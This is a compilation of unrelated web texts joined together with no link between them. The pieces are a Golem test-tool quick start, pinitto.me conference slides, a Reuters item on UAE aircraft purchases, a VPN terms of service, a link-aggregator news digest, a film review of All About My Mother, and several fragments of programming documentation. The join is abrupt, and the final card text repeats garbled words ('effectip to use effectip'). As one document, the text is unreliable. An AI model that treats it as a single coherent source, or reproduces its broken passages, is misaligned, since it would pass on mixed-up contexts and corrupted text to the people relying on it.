Quick Start¶
Let's create a Test Directory, a new Project inside of it and start the Golem Web Module.
Create a Test Directory¶
The Test Directory holds one or more projects that you will work on and all the required files. To create a Test Directory, open a console wherever you want the new directory to be and execute this command:
golem-admin createdirectory <directory_name>
This will create a folder that will contain all subsequent projects.
Download the Webdriver Executables¶
Golem needs the latest webdrivers in order to work, by default, it will pick up the executables placed in the <test_directory>/drivers directory, this setting can be overriden from the settings. The latests versions of the webdrivers can be found here:
- Chrome: https://sites.google.com/a/chromium.org/chromedriver/
- Firefox: https://github.com/mozilla/geckodriver/releases
For more detailed information, check this page
Start the Web Module¶
To start the Golem Web Module, run the following command:
golem gui
The Web Module can be accessed at http://localhost:5000/
By default, the following user is available: username: admin / password: admin
Create a new project¶
Next, create a new project inside the test directory
cd <directory_name>
golem createproject <project_name>
Or, create a new project using the Web Module:
Next, go to Adding Tests


---
layout: slides
title: 'Pinitto.me: What? Why? How?'
description: 'Introduction to pinitto.me. An open source, infinite, virtual corkboard application'
theme: night
---
pinitto.me
what? why? how?
Who am I?
Lloyd Watkin
Software Engineer @ Surevine
@lloydwatkin
http://www.evilprofessor.co.uk
▼more down here if you want to read
More about me...
Originally wrote software in academia (FORTRAN 77/90/95 + MPI, IDL) - Atmospheric modelling and instrumentation
Started a business creating web-based applications in PHP
Worked for several startups
Now working for Surevine creating secure, social software
Programming/ed in PHP, Python, Java, JavaScript/Nodejs, Ruby, coffeescript, + others (I forget)
https:/gihub.com/lloydwatkin
Interested in: Open source, real time applications, XMPP
What?
pinitto.me is an open source, infinite, virtual corkboard style application
https://github.com/pinittome
http://pinitto.me
@pinittome
Free to use, but donations gratefully accepted
Here's a demo board...
http://bit.ly/Wc3ctx
Password: nodejs
About
Introduced to nodejs through the buddycloud project
XMPP and realtime is *really* exciting
Didn't really pay attention to nodejs but did some hacking in it
Attended realtime conference in Portland
Started to understand why nodejs is exciting stuff
Then one day...
-
Work in a distributed team
-
Planning day
-
Using an alternative system for sizing & prioritising of tasks
-
We care about our data security
-
No open source alternatives
...I took a free couple of days and built a pinitto.me prototype
nodejs enables you to get s*#! done really quickly and easily
...better than that...
nodejs allows you to get realtime s*#! done really quickly and easily
Why is this cool/important?
The future of the web is realtime
The best way people aren't always going to be a short distance...
...what if they are on the other side of the world?
When people are able to talk and share ideas amazing things happen
Realtime will enable people to collaborate remotely like never before
Realtime is now in the hands of the people
New technologies bring new possibilities
...but here's the best bit...
There's a huge number of simple ways people can collaborate using this new tech
The ideas are there in everyday life,
you just have to build it!
Lets make amazing things happen....
-
Embrace the technology you are working with
-
Lean on as many other projects as possible
-
Don't do the things you aren't good at
-
You do agile, right?
-
"Perfect is the enemy of good"
-
Be aware of the future, but don't let it control you
Pinitto.me: where are we
- Just released 0.2.X
- Second person has joined the team
- Implemented grids - neat and tidy boards!
- Speed improvements (requirejs optimisation, gzip in proxy)
- Usage steadily growing without shouting about it
- We've got a recent marketing graduate joining us
- Used for planning meetings at Surevine and other companies
Next release
- Completed full ACL
- API for developers started
- Building up a list of features on github
- Build out documentation / tutorials / etc
- Real time chat + statistics
- Get involved!
▼more down here if you want to read
Lessons
Node Jitsu
- Awesome PaaS setup
- Original version of pinitto.me used their setup
- Couldn't use it in the end...
- ....sticky websocket sessions
- Now running on small EC2 instance
- Using free mongolab database
- Using node jitsu open source projects to serve in production
There's not a huge amount out there about production nodejs, even less when it comes to production websockets + nodejs.
Summary
Realtime *is* the future
You as node developers have an amazing set of tools to use
Get out there and make the future!
Thanks to: nodejs, chrome v8, socket.io, jQuery, crypto, node-validator, twitter bootstrap, node jitsu, mongolab, npm, amazon EC2, express, connect, recaptcha, requirejs, ...others...
Excited by realtime &/or XMPP?
New meetup 13th March @ Mozilla London
@xmppuk for updates
Free beer and pizza!
-
Owen Barnes (SocketStream) - SocketStream
-
Paweł Ledwoń (Pusher) - when websockets aren't an option
-
Lloyd Watkin (Surevine) - XMPP using JSON over websockets
-
Jonny Heavey (Surevine) - Pinitto.me
-
Ash Ward (Surevine) - WebRTC
Looking for a new position?
Surevine are looking for talented developers:
- work flexibly from home
- work with a great team (I am biased)
- work on open source projects
- work on a range of exciting projects
- self-managed teams trusted to do what they do best
....or better still come and chat over a beer about how #awesome it is at Surevine!


UAE armed forces announce plans to buy five aircraft: WAM
CAIRO (Reuters) - The United Arab Emirates armed forces announced on Tuesday plans to buy two Globaleye for early warning and control aircraft, and three other refueling aircrafts, state news agency (WAM) said.
WAM added that the deputy executive director of the military committee organizing Dubai Airshow 2019 confirmed during a news
conference that the armed forces intends to purchase two Globaleye (G 6000-SRSS) early warning and control aircrafts from the Swedish company SAAB, in addition to three refueling aircrafts type (330MRTT) from Airbus.


--- layout: post title: 'a tweet: what makes a great qa person?' date: '2008-04-11T14:33:16-07:00' tags: tumblr_url: http://alexhwilliams.tumblr.com/post/31504699/a-tweet-what-makes-a-great-qa-person --- a tweet: what makes a great qa person?


Our VPN License and Terms of Use
Please read the following Terms of Service ( "Terms " " Terms of Service") carefully before using the Virtual Private Network ("VPN") operated by Our VPN ( "us " we " or "our" )
Your access to and use of the Service is conditioned on your acceptance of and compliance with these Terms. These Terms apply to all visitors, users and others who access or use the Service.
By accessing or using the Service you agree to be bound by these Terms. If you disagree with any part of the terms then you may not access the Service .
The Terms of Service
Our VPN provides the Service as a means of protecting your privacy by establishing a secure Virtual Private Network ( "VPN") when connecting to the Internet.
The Privacy Policy
Our VPN keeps no logs which enable interference with your IP address, the moment or content of your data traffic. We make express reference to the fact that we do not record in logs communication contents or data regarding the accessed websites or the IP addresses .
Free
If you choose the free Service, then Our VPN may deliver third-party advertisements ( "Advertisements") within the content.
Install and Updates
We have the right to install certificates and future updates at any time without any notice.
Changes
We reserve the right, at our sole discretion, to modify or replace these Terms at any time. By continuing to access or use our Service after those revisions become effective, you agree to be bound by the revised terms. If you do not agree to the new terms, please stop using the Service.
Termination
We may terminate or suspend access to our Service immediately, without prior notice or liability, for any reason whatsoever, including without limitation if you breach the Terms .
All provisions of the Terms which by their nature should survive termination shall survive termination, including, without limitation, ownership provisions, warranty disclaimers, indemnity and limitations of liability .
Governing Law
These Terms shall be governed and construed in accordance with the laws of China, without regard to its conflict of law provisions.
Our failure to enforce any right or provision of these Terms will not be considered a waiver of those rights. If any provision of these Terms is held to be invalid or unenforceable by a court, the remaining provisions of these Terms will remain in effect. These Terms constitute the entire agreement between us regarding our Service, and supersede and replace any prior agreements we might have between us regarding the Service .


function processResponse(request) {
var books = JSON.parse(request.responseText);
for (var i = 0; i < books.length; i++) {
var book = books[i];
var p = document.createElement('p');
p.innerHTML = book.title + ' by ' + book.author;
document.body.appendChild(p);
}
}
Would evaluate to:
Robot Dreams, by Isaac Asimov
Pirate Cinema, by Cory Doctorow


Email & Web DS Mail Settings Partners Email Settings Partners Email on Mobile Device(iPhone) Out-of-Office Notification Email Encryption show all ( 8 ) Email Signature Email Aliases Web Service collapse list
Desktop Printing Scanning Macintosh Software Windows Software Laptop Encryption show all ( 11 ) How to Map a Folder How to Configure Putty Windows Remote Desktop Connection Mac Remote Desktop Connection Dropbox for Business Slack collapse list
Server Computing Datasets Kraken Cluster + – Getting Started Job Submission Sample Submit Scripts Kraken Software and Modules Monitor Jobs Cancel and Pause Jobs Storage & File Management Unix Servers Unix Software


| About Dailyrotten |
|
Feedback
If you like this page, hate it, or would like to suggest changes,
<EMAIL_ADDRESS>is listening. This page
is experimental and somewhat different from what we usually offer, so please
do send your feedback.
Adding Stories
If you are a rotten newshound and you would like to suggest a story,
visit our submit page to
send us the URL. Stories that are accepted will have your name credited.
Viewership
On the first full day this page went live, 100,000 people visited this Rotten
News page. Of course that was the day after the WTC attacks, so that number is
somewhat distorted. Right now this page gets between 50,000 and 75,000 people
every day.
Linking
We encourage everyone to link to this page; if you like it, others probably
will as well.
Other Rotten
Rotten
Gaping Maw
Celebrity Morgue
Mugshots
Rotten Store
Shockumentary
Rate My Poo
Rate My Kitten
Rate My Finger
Penny Postcards
Phallic
Dr. Sputnik
Boners
Dead Pool
NNDB
Home
Make Dailyrotten your start page
|
|
|
January 25, 2003
Create your own .mil domain
The Register | Submitted by: Sketch
"Care to register a .mil Web site of your own for free? The DoD has gone out of its way to make it a snap. An unbelievably badly-protected admin interface welcomes you to register whatever domain you please (http://Rotten.mil anyone?), or edit anything they've already got. The interface is so ludicrously unprotected that it's been cached by Google and fails to mention that you must be authorized to muck about with it. Incredibly, default passwords are cheerfully provided on the page."
|
|
Read article...
|
|
World Trade Center hoax crosses Delaware
Salon | Submitted by: Mr. B
"The famous oil painting of George Washington crossing the Delaware River was vandalized at the Metropolitan Museum of Art, allegedly by a former museum employee who glued on a computer image depicting a fake view of the World Trade Center attack." No word on whether the government (or Israel!) knew in advance this time.
|
|
Read article...
|
|
British police: Stop committing crimes, please
Fox News | Submitted by: n00
"A British police force announced Friday it has come up with a new measure to combat crime: a polite letter asking persistent offenders to mend their ways... The letter helpfully suggests that the offender "make it a priority in any New Year's resolutions you make from 2003 onwards, to cease forthwith your criminal activities."
|
|
Read article...
|
|
The Superbowl is my Anti-drug
CBS News | Submitted by: motrinwoman
"Automobile crashes climb more than 40 percent in the hours after the Super Bowl, with the surge highest in the losing team's territory, perhaps because heartbroken fans are obsessing over the defeat and not concentrating on their driving, researchers say... "We think that it may be alcohol and fatigue and inattention, and in particular the sort of what-if conjectures and Monday morning quarterbacking that occurs" after one's team loses."
|
|
Read article...
|
|
Takin' it to the street
San Francisco Chronicle | Submitted by: motrinwoman
"Medical marijuana, compassion not federal prison," read the billboards, which are sponsored by a host of marijuana groups... They also show young Ashley Epis holding a sign that reads: "My Dad is not a criminal."
|
|
Read article...
|
|
And it's tax deductible too!
Wire Services | Submitted by: Tank's Grrl
"A 70mm (2.75 inch) thick, bullet-proof window can cost UKP 800 a square meter... Such devices are tax-deductible, and rising fear of terror attacks has boosted interest in both the security they offer, and the tax breaks... Up until now the tax benefits have been claimed mainly by British diplomats and employees working in dangerous areas abroad."
|
|
Read article...
|
|
Human shields head for Iraq
BBC | Submitted by: Brian Webb
"British anti-war protesters who aim to form a "human shield" against any bombing of Iraq are setting out on Saturday for the Middle East. A double decker bus and two London cabs will cross Europe rallying support against a war, en route for Baghdad. They plan to identify potential bombing targets such as power stations and bridges and act as human shields to protect them. The US has warned Iraq that using human shields is a war crime and that it would not stop specific sites from being attacked."
|
|
Read article...
|
|
Cliff fall man's last words: OH SHIT
Mirror | Submitted by: Nezzer
"DAVID: It's David, Tuckett, with E-T-T on the end. Oh f***, f***, f*** ED: So where are you, how far down? DAVID: About six feet, I can't move. I'm on loose rock and holding on to mud and it's crumbling away... ED: Hang on. Someone is coming. (To another person): He's in immediate danger. We need a helicopter. DAVID: Sorry? ED: I was talking to my boss to tell them to get help for you. DAVID (sobbing): Oh f***, oh s***..."
|
|
Read article...
|
|
Southern (NZ) men deny lacy bent
Stuff NZ | Submitted by: Bob
"Southern blokes are reeling at news one in seven of their mates could be wearing girls' knickers... An Auckland-based mail order underwear shopping service has released a startling survey, which reveals 14.6 percent of Kiwi men admit buying women's undies for themselves."
|
|
Read article...
|
|
Lawyer drops crack rock on courtroom floor
Indianapolis Star | Submitted by: cokeaddslife
"[Attorney] Troy W. Harter was arguing with a client about money when he reached into his pocket for cash. Along with the money, police say, he pulled out the drug, a lighter and a steel wool pad... Once she saw what he had, witnesses say, Harter's client began shouting, "Did you guys see that?"
|
|
Read article...
|
|
Expert: Nuclear arms may be the only way
Houston Chronicle | Submitted by: AntiGuru
"Military officials have been focusing their planning on the use of nuclear arms in retaliation for a strike by the Iraqis with chemical or biological weapons, or to pre-empt one, Arkin says... Critics contend that a bunker buster strike could involve a huge radiation release and dangerous blast damage." The truth is, if we use our nukes, it is only a matter of time before persons unknown use them on American soil.
|
|
Read article...
|
|
I thought you had the dangerous radioactive cylinder!
Edmonton Journal | Submitted by: Gorg
"A dangerous radioactive cylinder smaller than a triple-A battery has gone missing, igniting a search stretching 600 kilometres from Alberta to Saskatchewan... The silver metallic cylinder contains cesium 137, which emits gamma radiation and poses a serious health risk if it's near or held by someone for mere minutes. It was last seen Sunday at an oil-drilling site 35 kilometres southwest of the village of Pierceland in northwestern Saskatchewan."
|
|
Read article...
|
|
Jail for man who filmed up skirts
ic Network | Submitted by: UncleGum
"Salesman Terence Dickinson, 52, was seen touring shops carrying a briefcase with a baseball cap hanging from one corner. A store detective wondered what Dickinson was up to when he placed the case on the floor near women and removed the cap... A search of Dickinson's home had revealed 97 images of children under 16 on a computer belonging to his wife."
|
|
Read article...
|
|
Big pot stash was only hay
Chicago Sun-Times | Submitted by: Jopy - 666 emperor of badvibes
"What Chicago police thought was more than $660,000 worth of dope in a pickup truck last month turned out to be hay from a Roman Catholic church's nativity scene... Prosecutors dropped felony drug charges Thursday against Jose Galvan, 43, and his co-worker, Juan Luna, 21, after crime lab tests confirmed the mistake."
|
|
Read article...
|
|
Dear Sir, You are a threat to national security
Government Printing Office | Submitted by: PS
New federal transportation guidelines allow the Transportation Security Administration to declare individuals as security threats and prohibit them from flying or holding other positions related to airfield operations (e.g. mechanics, instructors, etc.) No public comment period or due process is required. No trial, no warrant. How they come by the information is yet another mystery.
|
|
Read article...
|
|
Beached whale gets resort treatment
Wire Services | Submitted by: Dirty Sammy
"Concerned about the cold, caretakers from the Marine Mammal Conservancy later moved him to The Islander Resort, which turned its heated saltwater swimming pool over to the whale's care... While Kokomo is checked in, the saltwater pool is closed to guests, but a freshwater pool is still available."
|
|
Read article...
|
|
Dirty Harry, where are you now?
South Bend Tribune | Submitted by: Dirty Sammy
"Steven Spears, 20, of South Bend, was released because the proper documents to extradite him back to Indiana never arrived... Spears surrendered to the police in Peoria on Nov. 26, just a few days after he was charged in St. Joseph County with Lori Van Winkle's murder. He later decided not to voluntarily return to Indiana."
|
|
Read article...
|
|
El Doctor Misterio!
Wire Services | Submitted by: optional
"A man who advertised on Spanish-language radio stations as "El Doctor Misterio" pleaded guilty to sexually assaulting women seeking treatment for headaches and other ailments...
|
|
Read article...
|
|
Neighbor "cares" for corpse, collecting benefits
St. Petersburg Times | Submitted by: Brad
"Authorities said Mrs. Smith, a caretaker not related to the deceased, covered the upright corpse with a blanket and allowed it to secretly decompose in place... Mrs. Smith, who lived in an adjacent mobile home, then spent the next 12 months and perhaps longer raiding thousands of dollars from Burton Smith's bank account and forging his signature on numerous personal checks, authorities said."
|
|
Read article...
|
|
|
|
|


 These are all refererences to stories about women, written by men.  His story about his mother remains incomplete.
The rest of the movie belongs to women: other than Esteban, the only male characters of any significance are a senile father who no longer recognizes his own daughter and a stagehand obsessed with sex. There are also two transsexuals who have opted to become women. The suggestion is that the death of Manuela's son represents the termination of the masculine viewpoint: instead of men's stories about women, we will be given access to a film about women, seen from the vantage of women. It's a rather disingenuous suggestion on the part of Almodóvar (LIVE FLESH), who is of course a man--and the author of the movie--but what follows represents an admirable attempt to represent the complexities of women.
A bare bones outline of the plot might suggest the flamboyant nature of the director's earlier work. Woman's son dies in freak accident. Woman abandons her job and heads to Madrid. Woman meets a transsexual friend (Antonia San Juan), befriends a pregnant nun (Penélope Cruz), becomes assistant to an aging actress (Marisa Paredes) and has to deal with her young, sullen, self-destructive, heroin-addicted mistress (Candela Pena). But Almodóvar treats the material as straight melodrama, more or less, not as farce.
The movie has a sense of humour and is sometimes provocative, but the tone is rather sombre. The emotions it reaches for are undistorted by irony. We are asked to accept these women just as they are given to us--prone to extravagent emotional outbursts, their lives governed by far-fetched coincidences. In this respect, ALL ABOUT MY MOTHER resembles soap opera, which likewise expects to be taken at face value (and whose audience is primarily female). Soap opera itself is a form which descends from the sentimental fiction of the 18th century, when novelists like Samuel Richardson wrote mammoth serialized novels--about women, for women.
All of which is to say that ALL ABOUT MY MOTHER makes use of fictional forms that are traditionally associated with women, and has fun with them. It's a fascinating film in terms of its manipulation of ideas about gender, but as a viewing experience it is perhaps too languorous and comfortable. The urgency and effrontery of Almodóvar's earlier work is missing. Despite the playful approach to gender roles, the movie relies on the clichés of sentimental fiction to the point where it at times seems no more than a humdrum melodramatic tearjerker. There is an instance of the tired routine in which a woman throws up for no apparent reason--and, of course, it later turns out that she's pregnant. Almodóvar makes use of this cliché without ironizing it or putting it to the service of the film, and so it remains no more than a cliché, a shortcoming.
The women in ALL ABOUT MY MOTHER represent most of the customary female roles and stereotypes: mother, daughter, nurse, actress, lesbian, prostitute, nun. What is most complex and rewarding about the movie is the manner in which the various women slip from one category to another, inhabiting numerous roles, wearing them like an endless succession of masks. We learn, for example, that a young nun (Penelope Cruz) is pregnant, and that she was impregnated by an older transsexual; our preconceptions become worthless. At the end, we are told that one of the lesbian characters has married a man and had a child. Manuela herself, the emotional centre of the movie, is mother, friend, confidante, nurturer, and much more besides. She can be vulnerable, tough, bitchy, playful: she cannot be pinned down. By fostering slippages and tensions, by undermining conventions and expectations, the movie allows the intricacies of personalities which resist stereotyping to emerge.
The notion that women's social roles represent a series of performances is fundamental: two characters are actresses, Manuela performs in a play one night, and Manuela's transsexual friend gives a theatrical monologue about herself which verbally duplicates the construction of female identity she has undertaken through surgery, make-up, implants, hormonal treatments, etc. He has become she: the result of her own constructs and not those of society or biology. Almodóvar's underlying message seems to be that a woman is what she makes herself out to be, irrespective of what others would impose on her. One female stereotype is notable for its absence: woman as victim.
Subjective Camera (subjective.freeservers.com) Movie Reviews by David Dalgleish<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


An implementation of the Substitution interface. Performs substitutions in accordance with Perl-like substitution scripts.
The latter is a string, containing a mix of memory register references and plain text blocks.
It may look like "some_chars $1 some_chars$2some_chars" or "123${1}45${2}67".
A tag consisting of '$',not preceeded by the escape character'\' and followed by some digits (possibly enclosed in the curled brackets) is interpreted as a memory register reference, the digits forming a register ID.
All the rest is considered as a plain text.
Upon the Replacer has found a text block that matches the pattern, a references in a replacement string are replaced by the contents of
corresponding memory registers, and the resulting text replaces the matched block.
For example, the following code:
System.out.println("\""+
new Replacer(new Pattern("\\b(\\d+)\\b"),new PerlSubstitution("'$1'")).replace("abc 123 def")
+"\"");
will print
"abc '123' def"
.


GeoTagApp
About
|
Help
|
Home
Tagging
Enter new GeoTag
Latitude:
Longitude:
Name:
Hashtag:
submit
Discovery
Filter by Searchterm
Apply
Remove
Castle (49.01379, 8.404435) #sight
IWI (49.01379, 8.390071) #edu
Result map


Input for testing the validation script. This is only used for testing.
It should look like the body of a successful CAS 1.0 validation response sent by your CAS server.
The Test Script button feeds it to the script and displays the roles it parsed.
Example:
yes
jbeutel
99999999
John D Beutel
student; staff
uhsystem; uhm
eduPersonOrgDn=uhm,eduPersonAffiliation=student; eduPersonOrgDn=uhsystem,eduPersonAffiliation=staff


Source code for jenni.models.rootfolderbase
from abc import ABC, abstractmethod
from io import TextIOWrapper
from jenni.models import PythonPipelineJobBase
from jenni.models.folderbase import FolderBase
[docs]class RootFolderBase(FolderBase, ABC):
"""
Represents the pre-existing root folder in Jenkins below which jobs/folders are created.
Has an empty name.
"""
[docs] def __init__(self, url: str, **kwargs):
"""
:param url: URL to the (possibly toplevel) Folder on the Jenkins server that this class represents.
:param kwargs: optional arguments. Passed through to :class:`jenni.models.FolderBase` :func:`~jenni.models.FolderBase.__init__`.
"""
super().__init__(name="", url=url, **kwargs)
self.skip_seed = True
[docs] def write_jobdsl(self, fp: TextIOWrapper):
"""
Root folder already exists on the Jenkins server, so this is a no-op.
"""
pass
[docs] def pythonpipelinejob_main_wrapper(self, job: PythonPipelineJobBase, groovy_code: str) -> str:
return groovy_code
[docs] @abstractmethod
def pythonpipelinejob_inside_node_wrapper(self, job: PythonPipelineJobBase, groovy_code: str) -> str:
"""
Ensures appropriate code is executed around all code inside the node step.
:param job:
:param groovy_code:
:return: groovy_code with preamble and postamble code
"""
raise NotImplementedError()


mixed pathinfo ( string $path [, int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME ] )
pathinfo() returns information about path: either an associative array or a string, depending on options.
If the options parameter is not passed, an associative array containing the following elements is returned: dirname, basename, extension (if any), and filename. Note: If the path does not have an extension, no extension element will be returned (see second example below). If options is present, returns a string containing the requested element.


Examples¶
We provide the following examples of bitstream usage:
-
Spoon: build a translator between Brainfuck programs and Spoon programs.
-
Wave: synthesize a pure tone and generate the corresponding WAVE audio file.
But first, as usual, let's start with
>>> from bitstream import BitStream
Spoon¶
Spoon is a derivative of the Brainfuck programming language. Instead of the 8 ASCII symbols used by Brainfuck, it relies on binary sequences to represent each instruction.
The source of the "Hello World!" program in Brainfuck is1:
>>> hello_world = "++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>."
The conversion between Brainfuck and Spoon is given by the table:
>>> spoon = {
... "+": "1",
... "-": "000",
... ">": "010",
... "<": "011",
... "[": "00100",
... "]": "0011",
... ".": "001010",
... ",": "0010110",
... }
You may notice that the binary codes that correspond to symbols that frequently
appear in the hello_world
program (such as +
) are shorter than the others,
a nice property since it generates a compact representation of Spoon programs2.
To create a bitstream that contains the Spoon translation of hello_world
,
we may for each symbol in this program find the corresponding binary code
in the spoon
table, transform it into a list of bools and append this data
to the stream.
>>> stream = BitStream()
>>> for symbol in hello_world:
... code = spoon[symbol]
... code_as_bools = [bool(int(char)) for char in code]
... stream.write(code_as_bools)
Here is the result:
>>> stream
11111111110010001011111110101111111111010111010101101101101100000110101100101001010010101111111001010001010111001010010110010100110111111111111111110010100100010101110010100000000000000000000010100000000000000000000000000010100101001010010001010
>>> len(hello_world) * 8
888
>>> len(stream)
245
We now have of program of 245 bits instead of the 888 bits (111 bytes) of the original ASCII program. Not bad ...
It's also pretty easy to perform the opposite operation, to translate Spoon into
Brainfuck. First, we can compute noops
, the inverse of the spoon
dictionary.
>>> noops = {}
>>> for symbol, code in spoon.items():
... noops[code] = symbol
>>> n = max(len(code) for code in noops)
Then we read bits one by one from the stream into a buffer and look at each
stage if the buffer corresponds to a key in noops
, translate this code,
empty the buffer and start again3.
>>> src = ""
>>> buffer = BitStream()
>>> while len(stream) > 0:
... if len(buffer) > n:
... raise ValueError("invalid Spoon bitstream")
... else:
... buffer.write(stream.read(bool))
... try:
... src += noops[str(buffer)]
... buffer = BitStream()
... except KeyError:
... pass
>>> if len(buffer) > 0: # should be empty by now
... raise ValueError("invalid Spoon bitstream")
We can then check that src
and hello_world
are the same program:
>>> src == hello_world
True
Wave¶
What does it take to play a pure tone? The synthesis of the data is quite easy: in the realm of digital audio, sounds are just numbers and NumPy is up to the task. The painful, low-level part of the process is to actually generate an audio file in a format that your computer does understand. Fortunately, this is where bitstream can help4.
Most of the audio file formats that you may know (MP3, AAC, FLAC, ALAC, etc.) use compression to reduce file size; unfortunately this feature leads to rather complex formats. Therefore, we are going to output WAVE files instead, which are typically uncompressed.
The WAVE PCM soundfile format webpage5 is a great source of information about the format. We will use it to design our code; please have a look at it! Here is its high-level description:
The WAVE file format is a subset of Microsoft's RIFF specification for the storage of multimedia files. A RIFF file starts out with a file header followed by a sequence of data chunks. A WAVE file is often just a RIFF file with a single "WAVE" chunk which consists of two sub-chunks -- a "fmt " chunk specifying the data format and a "data" chunk containing the actual sample data.
First, we import NumPy (and globally the integer types that we need).
>>> import numpy as np
>>> from numpy import uint8, uint16, uint32, int16
We use NumPy to produce 3 seconds of a pure tone with frequency 440 Hz (A4) at a sampling rate of 44.1 kHz (the audio CD standard).
>>> # Generate a waveform (pure tone)
>>> df = 44100
>>> dt = 1.0 / df
>>> T = 3.0
>>> t = np.r_[0.0:T:dt]
>>> f = 440.0
>>> data = np.sin(2 * np.pi * f * t)
In this description, every sample is a floating-point number that requires 64 bits. The typical WAVE file requires 16-bit integer data instead, so we perform the (lossy) conversion:
>>> # Quantize the floating-point data
>>> ones_ = np.ones_like(data)
>>> low = (-2**15 ) * ones_
>>> high = ( 2**15 - 1) * ones_
>>> data = np.clip(2**15 * data, low, high)
>>> data = np.round(data).astype(np.int16)
Since WAVE files use a little-endian
representation every numeric value
and since bitstream is big-endian
by default, we define a small function to
help us perform the change automatically, using the newbyteorder
method of NumPy.
>>> # Stream endianness helper
>>> stream = BitStream()
>>> def write(datum, type=None):
... if type and issubclass(type, np.integer):
... datum = type(datum).newbyteorder()
... stream.write(datum, type)
The rest of the work is a straightforward translation of the specification: first we write the main chunk
>>> # "RIFF" Chunk Descriptor
>>> chunk_size = 36 + 2 * len(data) # size of the chunk after "RIFF"
>>>
>>> write(b"RIFF" )
>>> write(chunk_size, uint32)
>>> write(b"WAVE" )
then the format subchunk
>>> # "fmt" SubChunk
>>> subchunk1_size = 16 # size in bytes of the subchunk after "fmt "
>>> audio_format = 1 # PCM data
>>> num_channels = 1 # mono
>>> byte_rate = 2 * df
>>> block_align = 2 # number of bytes for one sample (all channels)
>>> bits_per_sample = 16
>>>
>>> write(b"fmt " )
>>> write(subchunk1_size , uint32)
>>> write(audio_format , uint16)
>>> write(num_channels , uint16)
>>> write(df , uint32)
>>> write(byte_rate , uint32)
>>> write(block_align , uint16)
>>> write(bits_per_sample, uint16)
and finally the data subchunk
>>> # "data" SubChunk
>>> subchunk2_size = 2 * len(data) # size in bytes of the subchunk after "data"
>>>
>>> write(b"data" )
>>> write(subchunk2_size, uint32)
>>> write(data , int16)
and that's it! stream
holds the content of our WAVE file;
all we have to do is to read it as a string that we write into an
actual file.
>>> # Generate the WAVE file
>>> wave_bytes = stream.read(bytes)
>>> wave_file = open("output.wav", "wb")
>>> _ = wave_file.write(wave_bytes)
You can now listen to the sound in output.wav
with your favorite music player.
For the sake of consistency, let's make sure that you and I have the same contents:
>>> import hashlib
>>> m = hashlib.md5()
>>> m.update(wave_bytes)
>>> m.digest() # doctest: +BYTES
b'\xb0\xcf\x0e8\x150\x1fV \x86\x9e2\xdf\xfb\x1d\xec'
-
You don't have to trust me on this, you may try this code online at https://copy.sh/brainfuck/. ↩
-
This is not a coincidence: Spoon has been designed as a Huffman code based on the analysis of a representative collection of Brainfuck programs. ↩
-
This approach -- without any lookahead -- is safe here because this code is prefix-free. ↩
-
Of course, there is a module in the Python standard library to read and write WAV files. We just pretend that we're in the mood to reinvent this wheel and learn something in the process. ↩
-
by Craig Sapp from the Center for Computer Research in Music and Acoustics: ↩


This document covers various components of pinax.apps.account.
Required. This setting is used to control whether or not email verification is sent upon signup:
ACCOUNT_EMAIL_VERIFICATION = True
The name defined in the URLconf that maps to the url that the user will be redirected to after login success.
LOGIN_REDIRECT_URLNAME = "home"
Required. Permit signing up for an account via OpenID.
ACCOUNT_OPEN_SIGNUP = True
The named URLs in this app should enable the use of of the {% url %} template tag as well as reverse lookups in your project code without having to know the implementation details of this app.
This is the URL that on POST will process a number of actions related to an email address on an account and on GET will render a template that provides the email form in context.
This URL will process a form to create an account on POST and render a template with a signup form instance in context on GET requests.
Process a login request from POST requests and render a template with a login form instance in context on GET requests.
Process the login POST request while associating submitted OpenID credentials to the account if they don’t already exist.
Process a password change form POST or render a template with a password change form instance in context.
Process a password set form POST or render a template with a password set form instance in context.
Process a password delete form POST or render a template with a password delete form instance in context.
Renders static template to inform user that the password delete is complete.
Processes a timezone form POST request to change a user’s timezone or renders a template with the timezone change form instance in context.
Adds credentials for Twitter on form POST, or renders a template with the form instance in context.
Removes Twitter account association with user.
Processes a default language selection form POST request or renders a template with the language change form in context.
Calls the django.contrib.auth.views.logout view.
Calls the emailconfirmation.views.confirm_email view.
| arguments: | The token generated in the emailconfirmation app that matches (\w+). |
|---|
Process a password reset form POST request and redirect to acct_passwd_reset_done or render a template with the password reset form instance in context.
Renders a template confirming the password reset process is complete.
Process a password reset using user key form POST request or render a template with the form in context.
| keyword arguments: | |
|---|---|
| The UUID and Key for the reset reset request that matches (?P<uidb36>[0-9A-Za-z]+)-(?P<key>.+) |
Calls the ajax_validation.views.validate view with the pinax.apps.account.forms.SignupForm.
Templates should be placed in an account/ folder at the root of one of your template search paths.
| context: | group, form, url_required, redirect_field_name, redirect_field_value |
|---|
| context: | group, form, redirect_field_name, redirect_field_value |
|---|
| context: | group, email, success_url |
|---|
| context: | group, add_email_form |
|---|
| context: | group, password_change_form |
|---|
| context: | group, password_set_form |
|---|
| context: | group |
|---|
| context: | None |
|---|
| context: | group, password_reset_form |
|---|
| context: | group |
|---|
If there is a valid token:
| context: | group, form |
|---|
otherwise:
| context: | group, token_fail = True |
|---|
| context: | group, form |
|---|
| context: | group, form |
|---|
| context: | group, twitter_form, twitter_authorized |
|---|
This is a very simple middleware that parses a request and decides what translation object to install in the current thread context depending on the user’s account. This allows pages to be dynamically translated to the language the user desires (if the language is available, of course).
Account(id, user_id, timezone, language)
OtherServiceInfo(id, user_id, key, value)
PasswordReset(id, user_id, temp_key, timestamp, reset)
retrieve the other service info for given key for the given user.
return default_value (“”) if no value.
update the other service info for the given user using the given keyword args.
e.g. update_other_services(user, twitter_user=..., twitter_password=...)
Example usage:
{% user_display user %}
or if you need to use in a {% blocktrans %}:
{% user_display user as user_display}
{% blocktrans %}{{ user_display }} has sent you a gift.{% endblocktrans %}
Returns the URL to be used in login procedures by looking at different values in the following order:


I am a very simple card. I am good at containing small bits of information. I am convenient because I require little markup to use effectip to use effectip to use effectively.
I am a very simple card. I am good at containing small bits of information. I am convenient because I require little markup to use effectip to use effectip to use effectively.
